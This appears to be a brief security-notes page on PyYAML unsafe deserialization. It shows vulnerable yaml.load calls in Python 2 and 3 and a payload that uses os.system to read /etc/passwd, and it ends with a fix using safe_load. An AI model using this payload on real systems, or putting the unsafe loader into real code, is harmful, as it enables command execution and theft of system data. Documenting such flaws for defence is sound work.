Blog
Search…
YAML
Exploitation
The example below is a vulnerable YAML code that can be exploited.
Python 2
1
import yaml
2
3
# Input can be whater text or a file with this content
4
yaml.load(input)
Copied!
Python 3
In Python 3, the default loader changed to a safe Loader, and to exploit this vulnerability should be enable UnsafeLoader explicitly.
1
import yaml
2
3
# Input can be whater text or a file with this content
4
yaml.load(input, Loader=yaml.UnsafeLoader)
Copied!
Example payload to exploit this vulnerability in a file sample.yaml os a direct input if allowed.
1
!!python/object/apply:os.system ["cat /etc/passwd"]
Copied!
Fix
Fixing this vulnerability is relatively easy.
Replace the usage of
yaml.load() function with yaml.safe_load() In Python 3,
yaml.load() uses as default data Loader FullLoader which avoids code execution.Last modified 2yr ago
Copy link